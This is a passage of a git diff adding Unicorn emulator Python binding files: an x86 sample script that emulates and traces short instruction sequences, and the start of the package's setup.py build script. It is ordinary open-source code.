+ # Initialize emulator in SPARC EB mode + mu = Uc(UC_ARCH_SPARC, UC_MODE_SPARC32|UC_MODE_BIG_ENDIAN) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, SPARC_CODE) + + # initialize machine registers + mu.reg_write(UC_SPARC_REG_G1, 0x1230) + mu.reg_write(UC_SPARC_REG_G2, 0x6789) + mu.reg_write(UC_SPARC_REG_G3, 0x5555) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(SPARC_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + g3 = mu.reg_read(UC_SPARC_REG_G3) + print(">>> G3 = 0x%x" %g3) + + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + test_sparc() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_x86.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_x86.py new file mode 100644 index 0000000..25d947c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_x86.py @@ -0,0 +1,653 @@ +#!/usr/bin/env python +# Sample code for X86 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> + +from __future__ import print_function +from unicorn import * +from unicorn.x86_const import * +import pickle + +X86_CODE32 = b"\x41\x4a\x66\x0f\xef\xc1" # INC ecx; DEC edx; PXOR xmm0, xmm1 +X86_CODE32_LOOP = b"\x41\x4a\xeb\xfe" # INC ecx; DEC edx; JMP self-loop +X86_CODE32_JUMP = b"\xeb\x02\x90\x90\x90\x90\x90\x90" # jmp 4; nop; nop; nop; nop; nop; nop +X86_CODE32_JMP_INVALID = b"\xe9\xe9\xee\xee\xee\x41\x4a" # JMP outside; INC ecx; DEC edx +X86_CODE32_MEM_READ = b"\x8B\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov ecx,[0xaaaaaaaa]; INC ecx; DEC edx +X86_CODE32_MEM_WRITE = b"\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov [0xaaaaaaaa], ecx; INC ecx; DEC edx +X86_CODE64 = b"\x41\xBC\x3B\xB0\x28\x2A\x49\x0F\xC9\x90\x4D\x0F\xAD\xCF\x49\x87\xFD\x90\x48\x81\xD2\x8A\xCE\x77\x35\x48\xF7\xD9\x4D\x29\xF4\x49\x81\xC9\xF6\x8A\xC6\x53\x4D\x87\xED\x48\x0F\xAD\xD2\x49\xF7\xD4\x48\xF7\xE1\x4D\x19\xC5\x4D\x89\xC5\x48\xF7\xD6\x41\xB8\x4F\x8D\x6B\x59\x4D\x87\xD0\x68\x6A\x1E\x09\x3C\x59" +X86_CODE32_INOUT = b"\x41\xE4\x3F\x4a\xE6\x46\x43" # INC ecx; IN AL, 0x3f; DEC edx; OUT 0x46, AL; INC ebx +X86_CODE64_SYSCALL = b'\x0f\x05' # SYSCALL +X86_CODE16 = b'\x00\x00' # add byte ptr [bx + si], al + +# memory address where emulation starts +ADDRESS = 0x1000000 + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + eflags = uc.reg_read(UC_X86_REG_EFLAGS) + print(">>> --- EFLAGS is 0x%x" %eflags) + +def hook_code64(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + rip = uc.reg_read(UC_X86_REG_RIP) + print(">>> RIP is 0x%x" %rip); + + +# callback for tracing invalid memory access (READ or WRITE) +def hook_mem_invalid(uc, access, address, size, value, user_data): + if access == UC_MEM_WRITE_UNMAPPED: + print(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \ + %(address, size, value)) + # map this memory in with 2MB in size + uc.mem_map(0xaaaa0000, 2 * 1024*1024) + # return True to indicate we want to continue emulation + return True + else: + # return False to indicate we want to stop emulation + return False + + +# callback for tracing memory access (READ or WRITE) +def hook_mem_access(uc, access, address, size, value, user_data): + if access == UC_MEM_WRITE: + print(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \ + %(address, size, value)) + else: # READ + print(">>> Memory is being READ at 0x%x, data size = %u" \ + %(address, size)) + + +# callback for IN instruction +def hook_in(uc, port, size, user_data): + eip = uc.reg_read(UC_X86_REG_EIP) + print("--- reading from port 0x%x, size: %u, address: 0x%x" %(port, size, eip)) + if size == 1: + # read 1 byte to AL + return 0xf1 + if size == 2: + # read 2 byte to AX + return 0xf2 + if size == 4: + # read 4 byte to EAX + return 0xf4 + # we should never reach here + return 0 + + +# callback for OUT instruction +def hook_out(uc, port, size, value, user_data): + eip = uc.reg_read(UC_X86_REG_EIP) + print("--- writing to port 0x%x, size: %u, value: 0x%x, address: 0x%x" %(port, size, value, eip)) + + # confirm that value is indeed the value of AL/AX/EAX + v = 0 + if size == 1: + # read 1 byte in AL + v = uc.reg_read(UC_X86_REG_AL) + if size == 2: + # read 2 bytes in AX + v = uc.reg_read(UC_X86_REG_AX) + if size == 4: + # read 4 bytes in EAX + v = uc.reg_read(UC_X86_REG_EAX) + + print("--- register value = 0x%x" %v) + + +# Test X86 32 bit +def test_i386(): + print("Emulate i386 code") + try: + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + mu.reg_write(UC_X86_REG_XMM0, 0x000102030405060708090a0b0c0d0e0f) + mu.reg_write(UC_X86_REG_XMM1, 0x00102030405060708090a0b0c0d0e0f0) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + r_xmm0 = mu.reg_read(UC_X86_REG_XMM0) + print(">>> ECX = 0x%x" %r_ecx) + print(">>> EDX = 0x%x" %r_edx) + print(">>> XMM0 = 0x%.32x" %r_xmm0) + + # read from memory + tmp = mu.mem_read(ADDRESS, 4) + print(">>> Read 4 bytes from [0x%x] = 0x" %(ADDRESS), end="") + for i in reversed(tmp): + print("%x" %(i), end="") + print("") + + except UcError as e: + print("ERROR: %s" % e) + + +def test_i386_map_ptr(): + print("Emulate i386 code - use uc_mem_map_ptr()") + try: + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32), 2 * UC_SECOND_SCALE) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + print(">>> ECX = 0x%x" %r_ecx) + print(">>> EDX = 0x%x" %r_edx) + + # read from memory + tmp = mu.mem_read(ADDRESS, 4) + print(">>> Read 4 bytes from [0x%x] = 0x" %(ADDRESS), end="") + for i in reversed(tmp): + print("%x" %(i), end="") + print("") + + except UcError as e: + print("ERROR: %s" % e) + + +def test_i386_invalid_mem_read(): + print("Emulate i386 code that read from invalid memory") + try: + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_MEM_READ) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + try: + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_READ)) + except UcError as e: + print("Failed on uc_emu_start() with error returned 6: %s" % e) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + print(">>> ECX = 0x%x" %r_ecx) + print(">>> EDX = 0x%x" %r_edx) + + except UcError as e: + print("ERROR: %s" % e) + +def test_i386_jump(): + print("Emulate i386 code with jump") + try: + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_JUMP) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block, begin=ADDRESS, end=ADDRESS) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS) + + try: + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_JUMP)) + except UcError as e: + print("ERROR: %s" % e) + + print(">>> Emulation done. Below is the CPU context") + + except UcError as e: + print("ERROR: %s" % e) + + +def test_i386_invalid_mem_write(): + print("Emulate i386 code that write to invalid memory") + try: + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_MEM_WRITE) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # intercept invalid memory events + mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, hook_mem_invalid) + + try: + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_WRITE)) + except UcError as e: + print("ERROR: %s" % e) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + print(">>> ECX = 0x%x" %r_ecx) + print(">>> EDX = 0x%x" %r_edx) + + # read from memory + print(">>> Read 4 bytes from [0x%x] = 0x" %(0xaaaaaaaa), end="") + tmp = mu.mem_read(0xaaaaaaaa, 4) + for i in reversed(tmp): + if i != 0: + print("%x" %i, end="") + print("") + + try: + tmp = mu.mem_read(0xffffffaa, 4) + print(">>> Read 4 bytes from [0x%x] = 0x" %(0xffffffaa), end="") + for i in reversed(tmp): + print("%x" %i, end="") + print("") + + except UcError as e: + print(">>> Failed to read 4 bytes from [0xffffffaa]") + + except UcError as e: + print("ERROR: %s" % e) + +def test_i386_jump_invalid(): + print("Emulate i386 code that jumps to invalid memory") + try: + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_JMP_INVALID) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + try: + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_JMP_INVALID)) + except UcError as e: + print("Failed on uc_emu_start() with error returned 8: %s" %e) + + print(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + print(">>> ECX = 0x%x" %r_ecx) + print(">>> EDX = 0x%x" %r_edx) + + except UcError as e: + print("ERROR %s" % e) + +def test_i386_loop(): + print("Emulate i386 code that loop forever") + try: + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_LOOP) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_LOOP), timeout=2*UC_SECOND_SCALE) + + print(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_edx = mu.reg_read(UC_X86_REG_EDX) + print(">>> ECX = 0x%x" %r_ecx) + print(">>> EDX = 0x%x" %r_edx) + + except UcError as e: + print("ERROR: %s" % e) + + +# Test X86 32 bit with IN/OUT instruction +def test_i386_inout(): + print("Emulate i386 code with IN/OUT instructions") + try: + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_INOUT) + + # initialize machine registers + mu.reg_write(UC_X86_REG_EAX, 0x1234) + mu.reg_write(UC_X86_REG_ECX, 0x6789) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # handle IN & OUT instruction + mu.hook_add(UC_HOOK_INSN, hook_in, None, 1, 0, UC_X86_INS_IN) + mu.hook_add(UC_HOOK_INSN, hook_out, None, 1, 0, UC_X86_INS_OUT) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_INOUT)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r_ecx = mu.reg_read(UC_X86_REG_ECX) + r_eax = mu.reg_read(UC_X86_REG_EAX) + print(">>> EAX = 0x%x" %r_eax) + print(">>> ECX = 0x%x" %r_ecx) + except UcError as e: + print("ERROR: %s" % e) + + +def test_i386_context_save(): + print("Save/restore CPU context in opaque blob") + address = 0 + code = b'\x40' # inc eax + try: + # Initialize emulator + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 8KB memory for this emulation + mu.mem_map(address, 8 * 1024, UC_PROT_ALL) + + # write machine code to be emulated to memory + mu.mem_write(address, code) + + # set eax to 1 + mu.reg_write(UC_X86_REG_EAX, 1) + + print(">>> Running emulation for the first time") + mu.emu_start(address, address+1) + + print(">>> Emulation done. Below is the CPU context") + print(">>> EAX = 0x%x" %(mu.reg_read(UC_X86_REG_EAX))) + print(">>> Saving CPU context") + saved_context = mu.context_save() + + print(">>> Pickling CPU context") + pickled_saved_context = pickle.dumps(saved_context) + + print(">>> Running emulation for the second time") + mu.emu_start(address, address+1) + print(">>> Emulation done. Below is the CPU context") + print(">>> EAX = 0x%x" %(mu.reg_read(UC_X86_REG_EAX))) + + print(">>> Unpickling CPU context") + saved_context = pickle.loads(pickled_saved_context) + + print(">>> CPU context restored. Below is the CPU context") + mu.context_restore(saved_context) + print(">>> EAX = 0x%x" %(mu.reg_read(UC_X86_REG_EAX))) + + except UcError as e: + print("ERROR: %s" % e) + +def test_x86_64(): + print("Emulate x86_64 code") + try: + # Initialize emulator in X86-64bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_64) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE64) + + # initialize machine registers + mu.reg_write(UC_X86_REG_RAX, 0x71f3029efd49d41d) + mu.reg_write(UC_X86_REG_RBX, 0xd87b45277f133ddb) + mu.reg_write(UC_X86_REG_RCX, 0xab40d1ffd8afc461) + mu.reg_write(UC_X86_REG_RDX, 0x919317b4a733f01) + mu.reg_write(UC_X86_REG_RSI, 0x4c24e753a17ea358) + mu.reg_write(UC_X86_REG_RDI, 0xe509a57d2571ce96) + mu.reg_write(UC_X86_REG_R8, 0xea5b108cc2b9ab1f) + mu.reg_write(UC_X86_REG_R9, 0x19ec097c8eb618c1) + mu.reg_write(UC_X86_REG_R10, 0xec45774f00c5f682) + mu.reg_write(UC_X86_REG_R11, 0xe17e9dbec8c074aa) + mu.reg_write(UC_X86_REG_R12, 0x80f86a8dc0f6d457) + mu.reg_write(UC_X86_REG_R13, 0x48288ca5671c5492) + mu.reg_write(UC_X86_REG_R14, 0x595f72f6e4017f6e) + mu.reg_write(UC_X86_REG_R15, 0x1efd97aea331cccc) + + # setup stack + mu.reg_write(UC_X86_REG_RSP, ADDRESS + 0x200000) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions in range [ADDRESS, ADDRESS+20] + mu.hook_add(UC_HOOK_CODE, hook_code64, None, ADDRESS, ADDRESS+20) + + # tracing all memory READ & WRITE access + mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access) + mu.hook_add(UC_HOOK_MEM_READ, hook_mem_access) + # actually you can also use READ_WRITE to trace all memory access + #mu.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, hook_mem_access) + + try: + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64)) + except UcError as e: + print("ERROR: %s" % e) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + rax = mu.reg_read(UC_X86_REG_RAX) + rbx = mu.reg_read(UC_X86_REG_RBX) + rcx = mu.reg_read(UC_X86_REG_RCX) + rdx = mu.reg_read(UC_X86_REG_RDX) + rsi = mu.reg_read(UC_X86_REG_RSI) + rdi = mu.reg_read(UC_X86_REG_RDI) + r8 = mu.reg_read(UC_X86_REG_R8) + r9 = mu.reg_read(UC_X86_REG_R9) + r10 = mu.reg_read(UC_X86_REG_R10) + r11 = mu.reg_read(UC_X86_REG_R11) + r12 = mu.reg_read(UC_X86_REG_R12) + r13 = mu.reg_read(UC_X86_REG_R13) + r14 = mu.reg_read(UC_X86_REG_R14) + r15 = mu.reg_read(UC_X86_REG_R15) + + print(">>> RAX = 0x%x" %rax) + print(">>> RBX = 0x%x" %rbx) + print(">>> RCX = 0x%x" %rcx) + print(">>> RDX = 0x%x" %rdx) + print(">>> RSI = 0x%x" %rsi) + print(">>> RDI = 0x%x" %rdi) + print(">>> R8 = 0x%x" %r8) + print(">>> R9 = 0x%x" %r9) + print(">>> R10 = 0x%x" %r10) + print(">>> R11 = 0x%x" %r11) + print(">>> R12 = 0x%x" %r12) + print(">>> R13 = 0x%x" %r13) + print(">>> R14 = 0x%x" %r14) + print(">>> R15 = 0x%x" %r15) + + + except UcError as e: + print("ERROR: %s" % e) + + +def test_x86_64_syscall(): + print("Emulate x86_64 code with 'syscall' instruction") + try: + # Initialize emulator in X86-64bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_64) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE64_SYSCALL) + + def hook_syscall(mu, user_data): + rax = mu.reg_read(UC_X86_REG_RAX) + if rax == 0x100: + mu.reg_write(UC_X86_REG_RAX, 0x200) + else: + print('ERROR: was not expecting rax=%d in syscall' % rax) + + # hook interrupts for syscall + mu.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL) + + # syscall handler is expecting rax=0x100 + mu.reg_write(UC_X86_REG_RAX, 0x100) + + try: + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64_SYSCALL)) + except UcError as e: + print("ERROR: %s" % e) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + rax = mu.reg_read(UC_X86_REG_RAX) + print(">>> RAX = 0x%x" % rax) + + except UcError as e: + print("ERROR: %s" % e) + + +def test_x86_16(): + print("Emulate x86 16-bit code") + try: + # Initialize emulator in X86-16bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_16) + + # map 8KB memory for this emulation + mu.mem_map(0, 8 * 1024) + + # set CPU registers + mu.reg_write(UC_X86_REG_EAX, 7) + mu.reg_write(UC_X86_REG_EBX, 5) + mu.reg_write(UC_X86_REG_ESI, 6) + + # write machine code to be emulated to memory + mu.mem_write(0, X86_CODE16) + + # emulate machine code in infinite time + mu.emu_start(0, len(X86_CODE16)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + tmp = mu.mem_read(11, 1) + print(">>> Read 1 bytes from [0x%x] = 0x%x" %(11, tmp[0])) + + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + test_x86_16() + test_i386() + print("=" * 35) + test_i386_map_ptr() + print("=" * 35) + test_i386_inout() + print("=" * 35) + test_i386_context_save() + print("=" * 35) + test_i386_jump() + print("=" * 35) + test_i386_loop() + print("=" * 35) + test_i386_invalid_mem_read() + print("=" * 35) + test_i386_invalid_mem_write() + print("=" * 35) + test_i386_jump_invalid() + test_x86_64() + print("=" * 35) + test_x86_64_syscall() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/setup.cfg b/ai_anti_malware/unicorn/unicorn-master/bindings/python/setup.cfg new file mode 100644 index 0000000..3c6e79c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/setup.cfg @@ -0,0 +1,2 @@ +[bdist_wheel] +universal=1 diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/setup.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/setup.py new file mode 100644 index 0000000..836dab8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/setup.py @@ -0,0 +1,291 @@ +#!/usr/bin/env python +# Python binding for Unicorn engine. Nguyen Anh Quynh <aquynh@gmail.com> + +from __future__ import print_function +import glob +import os +import subprocess +import shutil +import sys +import platform + +from distutils import log +from distutils.core import setup +from distutils.util import get_platform +from distutils.command.build import build +from distutils.command.sdist import sdist +from setuptools.command.bdist_egg import bdist_egg +from setuptools.command.develop import develop + +SYSTEM = sys.platform + +# sys.maxint is 2**31 - 1 on both 32 and 64 bit mingw +IS_64BITS = platform.architecture()[0] == '64bit' + +# are we building from the repository or from a source distribution? +ROOT_DIR = os.path.dirname(os.path.abspath(__file__)) +LIBS_DIR = os.path.join(ROOT_DIR, 'unicorn', 'lib') +HEADERS_DIR = os.path.join(ROOT_DIR, 'unicorn', 'include') +SRC_DIR = os.path.join(ROOT_DIR, 'src') +BUILD_DIR = SRC_DIR if os.path.exists(SRC_DIR) else os.path.join(ROOT_DIR, '../..') + +# Parse version from pkgconfig.mk +VERSION_DATA = {} +with open(os.path.join(BUILD_DIR, 'pkgconfig.mk')) as fp: + lines = fp.readlines() + for line in lines: + line = line.strip() + if len(line) == 0: + continue + if line.startswith('#'): + continue + if '=' not in line: + continue + + k, v = line.split('=', 1) + k = k.strip() + v = v.strip() + if len(k) == 0 or len(v) == 0: + continue + VERSION_DATA[k] = v + +if 'PKG_MAJOR' not in VERSION_DATA or \ + 'PKG_MINOR' not in VERSION_DATA or \ + 'PKG_EXTRA' not in VERSION_DATA: + raise Exception("Malformed pkgconfig.mk") + +if 'PKG_TAG' in VERSION_DATA: + VERSION = '{PKG_MAJOR}.{PKG_MINOR}.{PKG_EXTRA}.{PKG_TAG}'.format(**VERSION_DATA) +else: + VERSION = '{PKG_MAJOR}.{PKG_MINOR}.{PKG_EXTRA}'.format(**VERSION_DATA) + +if SYSTEM == 'darwin': + LIBRARY_FILE = "libunicorn.dylib" + MAC_LIBRARY_FILE = "libunicorn*.dylib" + STATIC_LIBRARY_FILE = None +elif SYSTEM == 'win32': + LIBRARY_FILE = "unicorn.dll" + STATIC_LIBRARY_FILE = "unicorn.lib" +elif SYSTEM == 'cygwin': + LIBRARY_FILE = "cygunicorn.dll" + STATIC_LIBRARY_FILE = None +else: + LIBRARY_FILE = "libunicorn.so" + STATIC_LIBRARY_FILE = None + +def clean_bins(): + shutil.rmtree(LIBS_DIR, ignore_errors=True) + shutil.rmtree(HEADERS_DIR, ignore_errors=True) + +def copy_sources(): + """Copy the C sources into the source directory. + This rearranges the source files under the python distribution + directory. + """ + src = [] + + os.system('make -C %s clean' % os.path.join(ROOT_DIR, '../..')) + shutil.rmtree(SRC_DIR, ignore_errors=True) + os.mkdir(SRC_DIR) + + shutil.copytree(os.path.join(ROOT_DIR, '../../qemu'), os.path.join(SRC_DIR, 'qemu/')) + shutil.copytree(os.path.join(ROOT_DIR, '../../msvc'), os.path.join(SRC_DIR, 'msvc/')) + shutil.copytree(os.path.join(ROOT_DIR, '../../include'), os.path.join(SRC_DIR, 'include/')) + # make -> configure -> clean -> clean tests fails unless tests is present + shutil.copytree(os.path.join(ROOT_DIR, '../../tests'), os.path.join(SRC_DIR, 'tests/')) + try: + # remove site-specific configuration file + # might not exist + os.remove(os.path.join(SRC_DIR, 'qemu/config-host.mak')) + except OSError: + pass + + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../*.[ch]"))) + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../*.mk"))) + + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../Makefile"))) + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../LICENSE*"))) + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../README.md"))) + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../*.TXT"))) + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../RELEASE_NOTES"))) + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../make.sh"))) + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../CMakeLists.txt"))) + src.extend(glob.glob(os.path.join(ROOT_DIR, "../../pkgconfig.mk"))) + + for filename in src: + outpath = os.path.join(SRC_DIR, os.path.basename(filename)) + log.info("%s -> %s" % (filename, outpath)) + shutil.copy(filename, outpath) + +def build_libraries(): + """ + Prepare the unicorn directory for a binary distribution or installation. + Builds shared libraries and copies header files. + + Will use a src/ dir if one exists in the current directory, otherwise assumes it's in the repo + """ + cwd = os.getcwd() + clean_bins() + os.mkdir(HEADERS_DIR) + os.mkdir(LIBS_DIR) + + # copy public headers + shutil.copytree(os.path.join(BUILD_DIR, 'include', 'unicorn'), os.path.join(HEADERS_DIR, 'unicorn')) + + # check if a prebuilt library exists + # if so, use it instead of building + if os.path.exists(os.path.join(ROOT_DIR, 'prebuilt', LIBRARY_FILE)): + shutil.copy(os.path.join(ROOT_DIR, 'prebuilt', LIBRARY_FILE), LIBS_DIR) + if STATIC_LIBRARY_FILE is not None and os.path.exists(os.path.join(ROOT_DIR, 'prebuilt', STATIC_LIBRARY_FILE)): + shutil.copy(os.path.join(ROOT_DIR, 'prebuilt', STATIC_LIBRARY_FILE), LIBS_DIR) + return + + # otherwise, build!! + os.chdir(BUILD_DIR) + + try: + subprocess.check_call(['msbuild', '-ver']) + except: + has_msbuild = False + else: + has_msbuild = True + + if has_msbuild and SYSTEM == 'win32': + if platform.architecture()[0] == '32bit': + plat = 'Win32' + elif 'win32' in sys.argv: + plat = 'Win32' + else: + plat = 'x64' + + conf = 'Debug' if os.getenv('DEBUG', '') else 'Release' + subprocess.call(['msbuild', 'unicorn.sln', '-m', '-p:Platform=' + plat, '-p:Configuration=' + conf], cwd=os.path.join(BUILD_DIR, 'msvc')) + + obj_dir = os.path.join(BUILD_DIR, 'msvc', plat, conf) + shutil.copy(os.path.join(obj_dir, LIBRARY_FILE), LIBS_DIR) + shutil.copy(os.path.join(obj_dir, STATIC_LIBRARY_FILE), LIBS_DIR) + else: + # platform description refs at https://docs.python.org/2/library/sys.html#sys.platform + new_env = dict(os.environ) + new_env['UNICORN_BUILD_CORE_ONLY'] = 'yes' + cmd = ['sh', './make.sh'] + if SYSTEM == "win32": + if IS_64BITS: + cmd.append('cross-win64') + else: + cmd.append('cross-win32') + + subprocess.call(cmd, env=new_env) + + if SYSTEM == 'darwin': + for file in glob.glob(MAC_LIBRARY_FILE): + try: + shutil.copy(file, LIBS_DIR, follow_symlinks=False) + except: + shutil.copy(file, LIBS_DIR) + else: + shutil.copy(LIBRARY_FILE, LIBS_DIR) + try: + # static library may fail to build on windows if user doesn't have visual studio installed. this is fine. + if STATIC_LIBRARY_FILE is not None: + shutil.copy(STATIC_LIBRARY_FILE, LIBS_DIR) + except: + print('Warning: Could not build static library file! This build is not appropriate for a binary distribution') + # enforce this + if 'upload' in sys.argv: + sys.exit(1) + os.chdir(cwd) + +class custom_sdist(sdist): + def run(self): + clean_bins() + copy_sources() + return sdist.run(self) + +class custom_build(build): + def 